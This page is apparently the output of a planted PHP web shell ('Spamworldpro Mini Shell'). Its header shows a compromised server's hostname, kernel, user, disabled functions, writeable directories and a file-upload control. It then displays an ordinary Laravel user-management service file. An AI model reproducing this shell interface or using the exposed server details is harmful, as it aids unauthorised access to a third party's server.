Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ledger.corals.io/Corals/core/User/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ledger.corals.io/Corals/core/User/Services/UserService.php
<?php

namespace Corals\User\Services;

use Corals\Foundation\Facades\Actions;
use Corals\Foundation\Services\BaseServiceClass;
use Corals\User\Facades\TwoFactorAuth;
use Corals\User\Http\Requests\UserRequest;

class UserService extends BaseServiceClass
{

    protected $excludedRequestParams = [
        'picture',
        'channel',
        'two_factor_auth_enabled',
        'password_confirmation',
        'roles',
        'clear',
        'confirmed',
        'send_login_details',
    ];

    public function getRequestData($request)
    {
        $data = $request->except($this->excludedRequestParams);

        if (
            ($request->has('confirmed') || !\Settings::get('confirm_user_registration_email', false))
            && is_null(optional($this->model)->confirmed_at)
        ) {
            $data['confirmed_at'] = now();
        } elseif (!$request->has('confirmed') && \Settings::get('confirm_user_registration_email', false)) {
            $data['confirmed_at'] = null;
        }

        if (empty($data['password'])) {
            unset($data['password']);
        }

        return $data;
    }

    public function setTwoFactorAuthDetails(UserRequest $request)
    {
        if (!TwoFactorAuth::isActive()) {
            return;
        }

        if (!TwoFactorAuth::isRegistered($this->model)) {
            TwoFactorAuth::register($this->model, $request);
        }
    }


    public function handleUserPicture(UserRequest $request)
    {
        if ($request->has('clear') || $request->hasFile('picture')) {
            $this->model->clearMediaCollection('user-picture');
        }

        if ($request->hasFile('picture') && !$request->has('clear')) {
            $this->model->addMedia($request->file('picture'))
                ->withCustomProperties(['root' => 'user_' . $this->model->hashed_id])
                ->toMediaCollection('user-picture');
        }
    }

    public function handleUserRoles(UserRequest $request)
    {
        $this->model->roles()->sync($request->roles);
    }

    public function store($request, $modelClass, $additionalData = [])
    {
        $data = array_merge($this->getRequestData($request), $additionalData);

        $user = $modelClass::query()->create($data);

        $this->model = $user;

        $this->setTwoFactorAuthDetails($request);

        $this->handleUserPicture($request);

        $this->handleUserRoles($request);

        if ($request->has('send_login_details')) {
            event('notifications.user.send_login_details', ['user' => $user, 'password' => $request->get('password')]);
        }

        Actions::do_action('user_just_created', $user);

        return $user;
    }

    public function update($request, $user, $additionalData = [])
    {
        $this->model = $user;

        $data = array_merge($this->getRequestData($request), $additionalData);

        $this->model->update($data);

        $this->setTwoFactorAuthDetails($request);

        $this->handleUserPicture($request);

        $this->handleUserRoles($request);

        return $user;
    }

    /**
     * @param $request
     * @param $user
     * @throws \Exception
     */
    public function destroy($request, $user)
    {
        if (user()->id == $user->id) {
            throw new \Exception(trans('User::exceptions.invalid_destroy_user'));
        }

        $user->delete();
    }
}

Spamworldpro Mini